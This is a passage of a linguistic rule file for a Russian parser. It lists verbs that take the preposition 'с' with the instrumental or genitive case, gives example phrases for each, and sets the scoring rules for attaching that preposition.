rus_verbs:сталкивать{}, // сталкивать с черной дырой
rus_verbs:увольнять{}, // увольнять с волчьим билетом
rus_verbs:заигрывать{}, // заигрывать с совершенно диким животным
rus_verbs:сопоставлять{}, // сопоставлять с эталонными образцами
rus_verbs:расторгнуть{}, // расторгнуть с нерасторопными поставщиками долгосрочный контракт
rus_verbs:созвониться{}, // созвониться с мамой
rus_verbs:спеться{}, // спеться с отъявленными хулиганами
rus_verbs:интриговать{}, // интриговать с придворными
rus_verbs:приобрести{}, // приобрести со скидкой
rus_verbs:задержаться{}, // задержаться со сдачей работы
rus_verbs:плавать{}, // плавать со спасательным кругом
rus_verbs:якшаться{}, // Не якшайся с врагами
инфинитив:ассоциировать{вид:соверш}, // читатели ассоциируют с собой героя книги
инфинитив:ассоциировать{вид:несоверш},
глагол:ассоциировать{вид:соверш}, // читатели ассоциируют с собой героя книги
глагол:ассоциировать{вид:несоверш},
//+прилагательное:ассоциировавший{вид:несоверш},
прилагательное:ассоциировавший{вид:соверш},
прилагательное:ассоциирующий{},
деепричастие:ассоциируя{},
деепричастие:ассоциировав{},
rus_verbs:ассоциироваться{}, // герой книги ассоциируется с реальным персонажем
rus_verbs:аттестовывать{}, // Они аттестовывают сотрудников с помощью наборра тестов
rus_verbs:аттестовываться{}, // Сотрудники аттестовываются с помощью набора тестов
//+инфинитив:аффилировать{вид:соверш}, // эти предприятия были аффилированы с олигархом
//+глагол:аффилировать{вид:соверш},
прилагательное:аффилированный{},
rus_verbs:баловаться{}, // мальчик баловался с молотком
rus_verbs:балясничать{}, // женщина балясничала с товарками
rus_verbs:богатеть{}, // Провинция богатеет от торговли с соседями
rus_verbs:бодаться{}, // теленок бодается с деревом
rus_verbs:боксировать{}, // Майкл дважды боксировал с ним
rus_verbs:брататься{}, // Солдаты братались с бойцами союзников
rus_verbs:вальсировать{}, // Мальчик вальсирует с девочкой
rus_verbs:вверстывать{}, // Дизайнер с трудом вверстывает блоки в страницу
rus_verbs:происходить{}, // Что происходит с мировой экономикой?
rus_verbs:произойти{}, // Что произошло с экономикой?
rus_verbs:взаимодействовать{}, // Электроны взаимодействуют с фотонами
rus_verbs:вздорить{}, // Эта женщина часто вздорила с соседями
rus_verbs:сойтись{}, // Мальчик сошелся с бандой хулиганов
rus_verbs:вобрать{}, // вобрать в себя лучшие методы борьбы с вредителями
rus_verbs:водиться{}, // Няня водится с детьми
rus_verbs:воевать{}, // Фермеры воевали с волками
rus_verbs:возиться{}, // Няня возится с детьми
rus_verbs:ворковать{}, // Голубь воркует с голубкой
rus_verbs:воссоединиться{}, // Дети воссоединились с семьей
rus_verbs:воссоединяться{}, // Дети воссоединяются с семьей
rus_verbs:вошкаться{}, // Не вошкайся с этой ерундой
rus_verbs:враждовать{}, // враждовать с соседями
rus_verbs:временить{}, // временить с выходом на пенсию
rus_verbs:расстаться{}, // я не могу расстаться с тобой
rus_verbs:выдирать{}, // выдирать с мясом
rus_verbs:выдираться{}, // выдираться с мясом
rus_verbs:вытворить{}, // вытворить что-либо с чем-либо
rus_verbs:вытворять{}, // вытворять что-либо с чем-либо
rus_verbs:сделать{}, // сделать с чем-то
rus_verbs:домыть{}, // домыть с мылом
rus_verbs:случиться{}, // случиться с кем-то
rus_verbs:остаться{}, // остаться с кем-то
rus_verbs:случать{}, // случать с породистым кобельком
rus_verbs:послать{}, // послать с весточкой
rus_verbs:работать{}, // работать с роботами
rus_verbs:провести{}, // провести с девчонками время
rus_verbs:заговорить{}, // заговорить с незнакомкой
rus_verbs:прошептать{}, // прошептать с придыханием
rus_verbs:читать{}, // читать с выражением
rus_verbs:слушать{}, // слушать с повышенным вниманием
rus_verbs:принести{}, // принести с собой
rus_verbs:спать{}, // спать с женщинами
rus_verbs:закончить{}, // закончить с приготовлениями
rus_verbs:помочь{}, // помочь с перестановкой
rus_verbs:уехать{}, // уехать с семьей
rus_verbs:случаться{}, // случаться с кем-то
rus_verbs:кутить{}, // кутить с проститутками
rus_verbs:разговаривать{}, // разговаривать с ребенком
rus_verbs:погодить{}, // погодить с ликвидацией
rus_verbs:считаться{}, // считаться с чужим мнением
rus_verbs:носить{}, // носить с собой
rus_verbs:хорошеть{}, // хорошеть с каждым днем
rus_verbs:приводить{}, // приводить с собой
rus_verbs:прыгнуть{}, // прыгнуть с парашютом
rus_verbs:петь{}, // петь с чувством
rus_verbs:сложить{}, // сложить с результатом
rus_verbs:познакомиться{}, // познакомиться с другими студентами
rus_verbs:обращаться{}, // обращаться с животными
rus_verbs:съесть{}, // съесть с хлебом
rus_verbs:ошибаться{}, // ошибаться с дозировкой
rus_verbs:столкнуться{}, // столкнуться с медведем
rus_verbs:справиться{}, // справиться с нуждой
rus_verbs:торопиться{}, // торопиться с ответом
rus_verbs:поздравлять{}, // поздравлять с победой
rus_verbs:объясняться{}, // объясняться с начальством
rus_verbs:пошутить{}, // пошутить с подругой
rus_verbs:поздороваться{}, // поздороваться с коллегами
rus_verbs:поступать{}, // Как поступать с таким поведением?
rus_verbs:определяться{}, // определяться с кандидатами
rus_verbs:связаться{}, // связаться с поставщиком
rus_verbs:спорить{}, // спорить с собеседником
rus_verbs:разобраться{}, // разобраться с делами
rus_verbs:ловить{}, // ловить с удочкой
rus_verbs:помедлить{}, // Кандидат помедлил с ответом на заданный вопрос
rus_verbs:шутить{}, // шутить с диким зверем
rus_verbs:разорвать{}, // разорвать с поставщиком контракт
rus_verbs:увезти{}, // увезти с собой
rus_verbs:унести{}, // унести с собой
rus_verbs:сотворить{}, // сотворить с собой что-то нехорошее
rus_verbs:складываться{}, // складываться с первым импульсом
rus_verbs:соглашаться{}, // соглашаться с предложенным договором
//rus_verbs:покончить{}, // покончить с развратом
rus_verbs:прихватить{}, // прихватить с собой
rus_verbs:похоронить{}, // похоронить с почестями
rus_verbs:связывать{}, // связывать с компанией свою судьбу
rus_verbs:совпадать{}, // совпадать с предсказанием
rus_verbs:танцевать{}, // танцевать с девушками
rus_verbs:поделиться{}, // поделиться с выжившими
rus_verbs:оставаться{}, // я не хотел оставаться с ним в одной комнате.
rus_verbs:беседовать{}, // преподаватель, беседующий со студентами
rus_verbs:бороться{}, // человек, борющийся со смертельной болезнью
rus_verbs:шептаться{}, // девочка, шепчущаяся с подругой
rus_verbs:сплетничать{}, // женщина, сплетничавшая с товарками
rus_verbs:поговорить{}, // поговорить с виновниками
rus_verbs:сказать{}, // сказать с трудом
rus_verbs:произнести{}, // произнести с трудом
rus_verbs:говорить{}, // говорить с акцентом
rus_verbs:произносить{}, // произносить с трудом
rus_verbs:встречаться{}, // кто с Антонио встречался?
rus_verbs:посидеть{}, // посидеть с друзьями
rus_verbs:расквитаться{}, // расквитаться с обидчиком
rus_verbs:поквитаться{}, // поквитаться с обидчиком
rus_verbs:ругаться{}, // ругаться с женой
rus_verbs:поскандалить{}, // поскандалить с женой
rus_verbs:потанцевать{}, // потанцевать с подругой
rus_verbs:скандалить{}, // скандалить с соседями
rus_verbs:разругаться{}, // разругаться с другом
rus_verbs:болтать{}, // болтать с подругами
rus_verbs:потрепаться{}, // потрепаться с соседкой
rus_verbs:войти{}, // войти с регистрацией
rus_verbs:входить{}, // входить с регистрацией
rus_verbs:возвращаться{}, // возвращаться с триумфом
rus_verbs:опоздать{}, // Он опоздал с подачей сочинения.
rus_verbs:молчать{}, // Он молчал с ледяным спокойствием.
rus_verbs:сражаться{}, // Он героически сражался с врагами.
rus_verbs:выходить{}, // Он всегда выходит с зонтиком.
rus_verbs:сличать{}, // сличать перевод с оригиналом
rus_verbs:начать{}, // я начал с товарищем спор о религии
rus_verbs:согласовать{}, // Маша согласовала с Петей дальнейшие поездки
rus_verbs:приходить{}, // Приходите с нею.
rus_verbs:жить{}, // кто с тобой жил?
rus_verbs:расходиться{}, // Маша расходится с Петей
rus_verbs:сцеплять{}, // сцеплять карабин с обвязкой
rus_verbs:торговать{}, // мы торгуем с ними нефтью
rus_verbs:уединяться{}, // уединяться с подругой в доме
rus_verbs:уладить{}, // уладить конфликт с соседями
rus_verbs:идти{}, // Я шел туда с тяжёлым сердцем.
rus_verbs:разделять{}, // Я разделяю с вами горе и радость.
rus_verbs:обратиться{}, // Я обратился к нему с просьбой о помощи.
rus_verbs:захватить{}, // Я не захватил с собой денег.
прилагательное:знакомый{}, // Я знаком с ними обоими.
rus_verbs:вести{}, // Я веду с ней переписку.
прилагательное:сопряженный{}, // Это сопряжено с большими трудностями.
прилагательное:связанный{причастие}, // Это дело связано с риском.
rus_verbs:поехать{}, // Хотите поехать со мной в театр?
rus_verbs:проснуться{}, // Утром я проснулся с ясной головой.
rus_verbs:лететь{}, // Самолёт летел со скоростью звука.
rus_verbs:играть{}, // С огнём играть опасно!
rus_verbs:поделать{}, // С ним ничего не поделаешь.
rus_verbs:стрястись{}, // С ней стряслось несчастье.
rus_verbs:смотреться{}, // Пьеса смотрится с удовольствием.
rus_verbs:смотреть{}, // Она смотрела на меня с явным неудовольствием.
rus_verbs:разойтись{}, // Она разошлась с мужем.
rus_verbs:пристать{}, // Она пристала ко мне с расспросами.
rus_verbs:посмотреть{}, // Она посмотрела на меня с удивлением.
rus_verbs:поступить{}, // Она плохо поступила с ним.
rus_verbs:выйти{}, // Она вышла с усталым и недовольным видом.
rus_verbs:взять{}, // Возьмите с собой только самое необходимое.
rus_verbs:наплакаться{}, // Наплачется она с ним.
rus_verbs:лежать{}, // Он лежит с воспалением лёгких.
rus_verbs:дышать{}, // дышащий с трудом
rus_verbs:брать{}, // брать с собой
rus_verbs:мчаться{}, // Автомобиль мчится с необычайной быстротой.
rus_verbs:упасть{}, // Ваза упала со звоном.
rus_verbs:вернуться{}, // мы вернулись вчера домой с полным лукошком
rus_verbs:сидеть{}, // Она сидит дома с ребенком
rus_verbs:встретиться{}, // встречаться с кем-либо
ГЛ_ИНФ(придти), прилагательное:пришедший{}, // пришедший с другом
ГЛ_ИНФ(постирать), прилагательное:постиранный{}, деепричастие:постирав{},
rus_verbs:мыть{}
}
fact гл_предл
{
if context { Гл_С_Твор предлог:с{} @regex("[a-z]+[0-9]*") }
then return true
}
fact гл_предл
{
if context { Гл_С_Твор предлог:с{} *:*{падеж:твор} }
then return true
}
#endregion ТВОРИТЕЛЬНЫЙ
#region РОДИТЕЛЬНЫЙ
wordentry_set Гл_С_Род=
{
rus_verbs:УХОДИТЬ{}, // Но с базы не уходить.
rus_verbs:РВАНУТЬ{}, // Водитель прорычал проклятие и рванул машину с места. (РВАНУТЬ)
rus_verbs:ОХВАТИТЬ{}, // огонь охватил его со всех сторон (ОХВАТИТЬ)
rus_verbs:ЗАМЕТИТЬ{}, // Он понимал, что свет из тайника невозможно заметить с палубы (ЗАМЕТИТЬ/РАЗГЛЯДЕТЬ)
rus_verbs:РАЗГЛЯДЕТЬ{}, //
rus_verbs:СПЛАНИРОВАТЬ{}, // Птицы размером с орлицу, вероятно, не могли бы подняться в воздух, не спланировав с высокого утеса. (СПЛАНИРОВАТЬ)
rus_verbs:УМЕРЕТЬ{}, // Он умрет с голоду. (УМЕРЕТЬ)
rus_verbs:ВСПУГНУТЬ{}, // Оба упали с лязгом, вспугнувшим птиц с ближайших деревьев (ВСПУГНУТЬ)
rus_verbs:РЕВЕТЬ{}, // Время от времени какой-то ящер ревел с берега или самой реки. (РЕВЕТЬ/ЗАРЕВЕТЬ/ПРОРЕВЕТЬ/ЗАОРАТЬ/ПРООРАТЬ/ОРАТЬ/ПРОКРИЧАТЬ/ЗАКРИЧАТЬ/ВОПИТЬ/ЗАВОПИТЬ)
rus_verbs:ЗАРЕВЕТЬ{}, //
rus_verbs:ПРОРЕВЕТЬ{}, //
rus_verbs:ЗАОРАТЬ{}, //
rus_verbs:ПРООРАТЬ{}, //
rus_verbs:ОРАТЬ{}, //
rus_verbs:ЗАКРИЧАТЬ{},
rus_verbs:ВОПИТЬ{}, //
rus_verbs:ЗАВОПИТЬ{}, //
rus_verbs:СТАЩИТЬ{}, // Я видела как они стащили его с валуна и увели с собой. (СТАЩИТЬ/СТАСКИВАТЬ)
rus_verbs:СТАСКИВАТЬ{}, //
rus_verbs:ПРОВЫТЬ{}, // Призрак трубного зова провыл с другой стороны дверей. (ПРОВЫТЬ, ЗАВЫТЬ, ВЫТЬ)
rus_verbs:ЗАВЫТЬ{}, //
rus_verbs:ВЫТЬ{}, //
rus_verbs:СВЕТИТЬ{}, // Полуденное майское солнце ярко светило с голубых небес Аризоны. (СВЕТИТЬ)
rus_verbs:ОТСВЕЧИВАТЬ{}, // Солнце отсвечивало с белых лошадей, белых щитов и белых перьев и искрилось на наконечниках пик. (ОТСВЕЧИВАТЬ С, ИСКРИТЬСЯ НА)
rus_verbs:перегнать{}, // Скот нужно перегнать с этого пастбища на другое
rus_verbs:собирать{}, // мальчики начали собирать со столов посуду
rus_verbs:разглядывать{}, // ты ее со всех сторон разглядывал
rus_verbs:СЖИМАТЬ{}, // меня плотно сжимали со всех сторон (СЖИМАТЬ)
rus_verbs:СОБРАТЬСЯ{}, // со всего света собрались! (СОБРАТЬСЯ)
rus_verbs:ИЗГОНЯТЬ{}, // Вино в пакетах изгоняют с рынка (ИЗГОНЯТЬ)
rus_verbs:ВЛЮБИТЬСЯ{}, // влюбился в нее с первого взгляда (ВЛЮБИТЬСЯ)
rus_verbs:РАЗДАВАТЬСЯ{}, // теперь крик раздавался со всех сторон (РАЗДАВАТЬСЯ)
rus_verbs:ПОСМОТРЕТЬ{}, // Посмотрите на это с моей точки зрения (ПОСМОТРЕТЬ С род)
rus_verbs:СХОДИТЬ{}, // принимать участие во всех этих событиях - значит продолжать сходить с ума (СХОДИТЬ С род)
rus_verbs:РУХНУТЬ{}, // В Башкирии микроавтобус рухнул с моста (РУХНУТЬ С)
rus_verbs:УВОЛИТЬ{}, // рекомендовать уволить их с работы (УВОЛИТЬ С)
rus_verbs:КУПИТЬ{}, // еда , купленная с рук (КУПИТЬ С род)
rus_verbs:УБРАТЬ{}, // помочь убрать со стола? (УБРАТЬ С)
rus_verbs:ТЯНУТЬ{}, // с моря тянуло ветром (ТЯНУТЬ С)
rus_verbs:ПРИХОДИТЬ{}, // приходит с работы муж (ПРИХОДИТЬ С)
rus_verbs:ПРОПАСТЬ{}, // изображение пропало с экрана (ПРОПАСТЬ С)
rus_verbs:ПОТЯНУТЬ{}, // с балкона потянуло холодом (ПОТЯНУТЬ С род)
rus_verbs:РАЗДАТЬСЯ{}, // с палубы раздался свист (РАЗДАТЬСЯ С род)
rus_verbs:ЗАЙТИ{}, // зашел с другой стороны (ЗАЙТИ С род)
rus_verbs:НАЧАТЬ{}, // давай начнем с этого (НАЧАТЬ С род)
rus_verbs:УВЕСТИ{}, // дала увести с развалин (УВЕСТИ С род)
rus_verbs:ОПУСКАТЬСЯ{}, // с гор опускалась ночь (ОПУСКАТЬСЯ С)
rus_verbs:ВСКОЧИТЬ{}, // Тристан вскочил с места (ВСКОЧИТЬ С род)
rus_verbs:БРАТЬ{}, // беру с него пример (БРАТЬ С род)
rus_verbs:ПРИПОДНЯТЬСЯ{}, // голова приподнялась с плеча (ПРИПОДНЯТЬСЯ С род)
rus_verbs:ПОЯВИТЬСЯ{}, // всадники появились с востока (ПОЯВИТЬСЯ С род)
rus_verbs:НАЛЕТЕТЬ{}, // с моря налетел ветер (НАЛЕТЕТЬ С род)
rus_verbs:ВЗВИТЬСЯ{}, // Натан взвился с места (ВЗВИТЬСЯ С род)
rus_verbs:ПОДОБРАТЬ{}, // подобрал с земли копье (ПОДОБРАТЬ С)
rus_verbs:ДЕРНУТЬСЯ{}, // Кирилл дернулся с места (ДЕРНУТЬСЯ С род)
rus_verbs:ВОЗВРАЩАТЬСЯ{}, // они возвращались с реки (ВОЗВРАЩАТЬСЯ С род)
rus_verbs:ПЛЫТЬ{}, // плыли они с запада (ПЛЫТЬ С род)
rus_verbs:ЗНАТЬ{}, // одно знали с древности (ЗНАТЬ С)
rus_verbs:НАКЛОНИТЬСЯ{}, // всадник наклонился с лошади (НАКЛОНИТЬСЯ С)
rus_verbs:НАЧАТЬСЯ{}, // началось все со скуки (НАЧАТЬСЯ С)
прилагательное:ИЗВЕСТНЫЙ{}, // Культура его известна со времен глубокой древности (ИЗВЕСТНЫЙ С)
rus_verbs:СБИТЬ{}, // Порыв ветра сбил Ваньку с ног (ts СБИТЬ С)
rus_verbs:СОБИРАТЬСЯ{}, // они собираются сюда со всей равнины. (СОБИРАТЬСЯ С род)
rus_verbs:смыть{}, // Дождь должен смыть с листьев всю пыль. (СМЫТЬ С)
rus_verbs:привстать{}, // Мартин привстал со своего стула. (привстать с)
rus_verbs:спасть{}, // тяжесть спала с души. (спасть с)
rus_verbs:выглядеть{}, // так оно со стороны выглядело. (ВЫГЛЯДЕТЬ С)
rus_verbs:повернуть{}, // к вечеру они повернули с нее направо. (ПОВЕРНУТЬ С)
rus_verbs:ТЯНУТЬСЯ{}, // со стороны реки ко мне тянулись языки тумана. (ТЯНУТЬСЯ С)
rus_verbs:ВОЕВАТЬ{}, // Генерал воевал с юных лет. (ВОЕВАТЬ С чего-то)
rus_verbs:БОЛЕТЬ{}, // Голова болит с похмелья. (БОЛЕТЬ С)
rus_verbs:приближаться{}, // со стороны острова приближалась лодка.
rus_verbs:ПОТЯНУТЬСЯ{}, // со всех сторон к нему потянулись руки. (ПОТЯНУТЬСЯ С)
rus_verbs:пойти{}, // низкий гул пошел со стороны долины. (пошел с)
rus_verbs:зашевелиться{}, // со всех сторон зашевелились кусты. (зашевелиться с)
rus_verbs:МЧАТЬСЯ{}, // со стороны леса мчались всадники. (МЧАТЬСЯ С)
rus_verbs:БЕЖАТЬ{}, // люди бежали со всех ног. (БЕЖАТЬ С)
rus_verbs:СЛЫШАТЬСЯ{}, // шум слышался со стороны моря. (СЛЫШАТЬСЯ С)
rus_verbs:ЛЕТЕТЬ{}, // со стороны деревни летела птица. (ЛЕТЕТЬ С)
rus_verbs:ПЕРЕТЬ{}, // враги прут со всех сторон. (ПЕРЕТЬ С)
rus_verbs:ПОСЫПАТЬСЯ{}, // вопросы посыпались со всех сторон. (ПОСЫПАТЬСЯ С)
rus_verbs:ИДТИ{}, // угроза шла со стороны моря. (ИДТИ С + род.п.)
rus_verbs:ПОСЛЫШАТЬСЯ{}, // со стен послышались крики ужаса. (ПОСЛЫШАТЬСЯ С)
rus_verbs:ОБРУШИТЬСЯ{}, // звуки обрушились со всех сторон. (ОБРУШИТЬСЯ С)
rus_verbs:УДАРИТЬ{}, // голоса ударили со всех сторон. (УДАРИТЬ С)
rus_verbs:ПОКАЗАТЬСЯ{}, // со стороны деревни показались земляне. (ПОКАЗАТЬСЯ С)
rus_verbs:прыгать{}, // придется прыгать со второго этажа. (прыгать с)
rus_verbs:СТОЯТЬ{}, // со всех сторон стоял лес. (СТОЯТЬ С)
rus_verbs:доноситься{}, // шум со двора доносился чудовищный. (доноситься с)
rus_verbs:мешать{}, // мешать воду с мукой (мешать с)
rus_verbs:вестись{}, // Переговоры ведутся с позиции силы. (вестись с)
rus_verbs:вставать{}, // Он не встает с кровати. (вставать с)
rus_verbs:окружать{}, // зеленые щупальца окружали ее со всех сторон. (окружать с)
rus_verbs:причитаться{}, // С вас причитается 50 рублей.
rus_verbs:соскользнуть{}, // его острый клюв соскользнул с ее руки.
rus_verbs:сократить{}, // Его сократили со службы.
rus_verbs:поднять{}, // рука подняла с пола
rus_verbs:поднимать{},
rus_verbs:тащить{}, // тем временем другие пришельцы тащили со всех сторон камни.
rus_verbs:полететь{}, // Мальчик полетел с лестницы.
rus_verbs:литься{}, // вода льется с неба
rus_verbs:натечь{}, // натечь с сапог
rus_verbs:спрыгивать{}, // спрыгивать с движущегося трамвая
rus_verbs:съезжать{}, // съезжать с заявленной темы
rus_verbs:покатываться{}, // покатываться со смеху
rus_verbs:перескакивать{}, // перескакивать с одного примера на другой
rus_verbs:сдирать{}, // сдирать с тела кожу
rus_verbs:соскальзывать{}, // соскальзывать с крючка
rus_verbs:сметать{}, // сметать с прилавков
rus_verbs:кувыркнуться{}, // кувыркнуться со ступеньки
rus_verbs:прокаркать{}, // прокаркать с ветки
rus_verbs:стряхивать{}, // стряхивать с одежды
rus_verbs:сваливаться{}, // сваливаться с лестницы
rus_verbs:слизнуть{}, // слизнуть с лица
rus_verbs:доставляться{}, // доставляться с фермы
rus_verbs:обступать{}, // обступать с двух сторон
rus_verbs:повскакивать{}, // повскакивать с мест
rus_verbs:обозревать{}, // обозревать с вершины
rus_verbs:слинять{}, // слинять с урока
rus_verbs:смывать{}, // смывать с лица
rus_verbs:спихнуть{}, // спихнуть со стола
rus_verbs:обозреть{}, // обозреть с вершины
rus_verbs:накупить{}, // накупить с рук
rus_verbs:схлынуть{}, // схлынуть с берега
rus_verbs:спикировать{}, // спикировать с километровой высоты
rus_verbs:уползти{}, // уползти с поля боя
rus_verbs:сбиваться{}, // сбиваться с пути
rus_verbs:отлучиться{}, // отлучиться с поста
rus_verbs:сигануть{}, // сигануть с крыши
rus_verbs:сместить{}, // сместить с поста
rus_verbs:списать{}, // списать с оригинального устройства
инфинитив:слетать{ вид:несоверш }, глагол:слетать{ вид:несоверш }, // слетать с трассы
деепричастие:слетая{},
rus_verbs:напиваться{}, // напиваться с горя
rus_verbs:свесить{}, // свесить с крыши
rus_verbs:заполучить{}, // заполучить со склада
rus_verbs:спадать{}, // спадать с глаз
rus_verbs:стартовать{}, // стартовать с мыса
rus_verbs:спереть{}, // спереть со склада
rus_verbs:согнать{}, // согнать с живота
rus_verbs:скатываться{}, // скатываться со стога
rus_verbs:сняться{}, // сняться с выборов
rus_verbs:слезать{}, // слезать со стола
rus_verbs:деваться{}, // деваться с подводной лодки
rus_verbs:огласить{}, // огласить с трибуны
rus_verbs:красть{}, // красть со склада
rus_verbs:расширить{}, // расширить с торца
rus_verbs:угадывать{}, // угадывать с полуслова
rus_verbs:оскорбить{}, // оскорбить со сцены
rus_verbs:срывать{}, // срывать с головы
rus_verbs:сшибить{}, // сшибить с коня
rus_verbs:сбивать{}, // сбивать с одежды
rus_verbs:содрать{}, // содрать с посетителей
rus_verbs:столкнуть{}, // столкнуть с горы
rus_verbs:отряхнуть{}, // отряхнуть с одежды
rus_verbs:сбрасывать{}, // сбрасывать с борта
rus_verbs:расстреливать{}, // расстреливать с борта вертолета
rus_verbs:придти{}, // мать скоро придет с работы
rus_verbs:съехать{}, // Миша съехал с горки
rus_verbs:свисать{}, // свисать с веток
rus_verbs:стянуть{}, // стянуть с кровати
rus_verbs:скинуть{}, // скинуть снег с плеча
rus_verbs:загреметь{}, // загреметь со стула
rus_verbs:сыпаться{}, // сыпаться с неба
rus_verbs:стряхнуть{}, // стряхнуть с головы
rus_verbs:сползти{}, // сползти со стула
rus_verbs:стереть{}, // стереть с экрана
rus_verbs:прогнать{}, // прогнать с фермы
rus_verbs:смахнуть{}, // смахнуть со стола
rus_verbs:спускать{}, // спускать с поводка
rus_verbs:деться{}, // деться с подводной лодки
rus_verbs:сдернуть{}, // сдернуть с себя
rus_verbs:сдвинуться{}, // сдвинуться с места
rus_verbs:слететь{}, // слететь с катушек
rus_verbs:обступить{}, // обступить со всех сторон
rus_verbs:снести{}, // снести с плеч
инфинитив:сбегать{ вид:несоверш }, глагол:сбегать{ вид:несоверш }, // сбегать с уроков
деепричастие:сбегая{}, прилагательное:сбегающий{},
// прилагательное:сбегавший{ вид:несоверш },
rus_verbs:запить{}, // запить с горя
rus_verbs:рубануть{}, // рубануть с плеча
rus_verbs:чертыхнуться{}, // чертыхнуться с досады
rus_verbs:срываться{}, // срываться с цепи
rus_verbs:смыться{}, // смыться с уроков
rus_verbs:похитить{}, // похитить со склада
rus_verbs:смести{}, // смести со своего пути
rus_verbs:отгружать{}, // отгружать со склада
rus_verbs:отгрузить{}, // отгрузить со склада
rus_verbs:бросаться{}, // Дети бросались в воду с моста
rus_verbs:броситься{}, // самоубийца бросился с моста в воду
rus_verbs:взимать{}, // Билетер взимает плату с каждого посетителя
rus_verbs:взиматься{}, // Плата взимается с любого посетителя
rus_verbs:взыскать{}, // Приставы взыскали долг с бедолаги
rus_verbs:взыскивать{}, // Приставы взыскивают с бедолаги все долги
rus_verbs:взыскиваться{}, // Долги взыскиваются с алиментщиков
rus_verbs:вспархивать{}, // вспархивать с цветка
rus_verbs:вспорхнуть{}, // вспорхнуть с ветки
rus_verbs:выбросить{}, // выбросить что-то с балкона
rus_verbs:выводить{}, // выводить с одежды пятна
rus_verbs:снять{}, // снять с головы
rus_verbs:начинать{}, // начинать с эскиза
rus_verbs:двинуться{}, // двинуться с места
rus_verbs:начинаться{}, // начинаться с гардероба
rus_verbs:стечь{}, // стечь с крыши
rus_verbs:слезть{}, // слезть с кучи
rus_verbs:спуститься{}, // спуститься с крыши
rus_verbs:сойти{}, // сойти с пьедестала
rus_verbs:свернуть{}, // свернуть с пути
rus_verbs:сорвать{}, // сорвать с цепи
rus_verbs:сорваться{}, // сорваться с поводка
rus_verbs:тронуться{}, // тронуться с места
rus_verbs:угадать{}, // угадать с первой попытки
rus_verbs:спустить{}, // спустить с лестницы
rus_verbs:соскочить{}, // соскочить с крючка
rus_verbs:сдвинуть{}, // сдвинуть с места
rus_verbs:подниматься{}, // туман, поднимающийся с болота
rus_verbs:подняться{}, // туман, поднявшийся с болота
rus_verbs:валить{}, // Резкий порывистый ветер валит прохожих с ног.
rus_verbs:свалить{}, // Резкий порывистый ветер свалит тебя с ног.
rus_verbs:донестись{}, // С улицы донесся шум дождя.
rus_verbs:опасть{}, // Опавшие с дерева листья.
rus_verbs:махнуть{}, // Он махнул с берега в воду.
rus_verbs:исчезнуть{}, // исчезнуть с экрана
rus_verbs:свалиться{}, // свалиться со сцены
rus_verbs:упасть{}, // упасть с дерева
rus_verbs:вернуться{}, // Он ещё не вернулся с работы.
rus_verbs:сдувать{}, // сдувать пух с одуванчиков
rus_verbs:свергать{}, // свергать царя с трона
rus_verbs:сбиться{}, // сбиться с пути
rus_verbs:стирать{}, // стирать тряпкой надпись с доски
rus_verbs:убирать{}, // убирать мусор c пола
rus_verbs:удалять{}, // удалять игрока с поля
rus_verbs:окружить{}, // Япония окружена со всех сторон морями.
rus_verbs:снимать{}, // Я снимаю с себя всякую ответственность за его поведение.
глагол:писаться{ aux stress="пис^аться" }, // Собственные имена пишутся с большой буквы.
прилагательное:спокойный{}, // С этой стороны я спокоен.
rus_verbs:спросить{}, // С тебя за всё спросят.
rus_verbs:течь{}, // С него течёт пот.
rus_verbs:дуть{}, // С моря дует ветер.
rus_verbs:капать{}, // С его лица капали крупные капли пота.
rus_verbs:опустить{}, // Она опустила ребёнка с рук на пол.
rus_verbs:спрыгнуть{}, // Она легко спрыгнула с коня.
rus_verbs:встать{}, // Все встали со стульев.
rus_verbs:сбросить{}, // Войдя в комнату, он сбросил с себя пальто.
rus_verbs:взять{}, // Возьми книгу с полки.
rus_verbs:спускаться{}, // Мы спускались с горы.
rus_verbs:уйти{}, // Он нашёл себе заместителя и ушёл со службы.
rus_verbs:порхать{}, // Бабочка порхает с цветка на цветок.
rus_verbs:отправляться{}, // Ваш поезд отправляется со второй платформы.
rus_verbs:двигаться{}, // Он не двигался с места.
rus_verbs:отходить{}, // мой поезд отходит с первого пути
rus_verbs:попасть{}, // Майкл попал в кольцо с десятиметровой дистанции
rus_verbs:падать{}, // снег падает с ветвей
rus_verbs:скрыться{} // Ее водитель, бросив машину, скрылся с места происшествия.
}
fact гл_предл
{
if context { Гл_С_Род предлог:с{} @regex("[a-z]+[0-9]*") }
then return true
}
fact гл_предл
{
if context { Гл_С_Род предлог:с{} *:*{падеж:род} }
then return true
}
fact гл_предл
{
if context { Гл_С_Род предлог:с{} *:*{падеж:парт} }
then return true
}
#endregion РОДИТЕЛЬНЫЙ
fact гл_предл
{
if context { * предлог:с{} *:*{ падеж:твор } }
then return false,-3
}
fact гл_предл
{
if context { * предлог:с{} *:*{ падеж:род } }
then return false,-4
}
fact гл_предл
{
if context { * предлог:с{} * }
then return false,-5
}
#endregion Предлог_С
/*
#region Предлог_ПОД
// -------------- ПРЕДЛОГ 'ПОД' -----------------------
fact гл_предл
{
if context { * предлог:под{} @regex("[a-z]+[0-9]*") }
then return true
}
// ПОД+вин.п. не может присоединяться к существительным, поэтому
// он присоединяется к любым глаголам.
fact гл_предл
{
if context { * предлог:под{} *:*{ падеж:вин } }
then return true
}
wordentry_set Гл_ПОД_твор=
{
rus_verbs:извиваться{}, // извивалась под его длинными усами
rus_verbs:РАСПРОСТРАНЯТЬСЯ{}, // Под густым ковром травы и плотным сплетением корней (РАСПРОСТРАНЯТЬСЯ)
rus_verbs:БРОСИТЬ{}, // чтобы ты его под деревом бросил? (БРОСИТЬ)
rus_verbs:БИТЬСЯ{}, // под моей щекой сильно билось его сердце (БИТЬСЯ)
rus_verbs:ОПУСТИТЬСЯ{}, // глаза его опустились под ее желтым взглядом (ОПУСТИТЬСЯ)
rus_verbs:ВЗДЫМАТЬСЯ{}, // его грудь судорожно вздымалась под ее рукой (ВЗДЫМАТЬСЯ)
rus_verbs:ПРОМЧАТЬСЯ{}, // Она промчалась под ними и исчезла за изгибом горы. (ПРОМЧАТЬСЯ)
rus_verbs:всплыть{}, // Наконец он всплыл под нависавшей кормой, так и не отыскав того, что хотел. (всплыть)
rus_verbs:КОНЧАТЬСЯ{}, // Он почти вертикально уходит в реку и кончается глубоко под водой. (КОНЧАТЬСЯ)
rus_verbs:ПОЛЗТИ{}, // Там они ползли под спутанным терновником и сквозь переплетавшиеся кусты (ПОЛЗТИ)
rus_verbs:ПРОХОДИТЬ{}, // Вольф проходил под гигантскими ветвями деревьев и мхов, свисавших с ветвей зелеными водопадами. (ПРОХОДИТЬ, ПРОПОЛЗТИ, ПРОПОЛЗАТЬ)
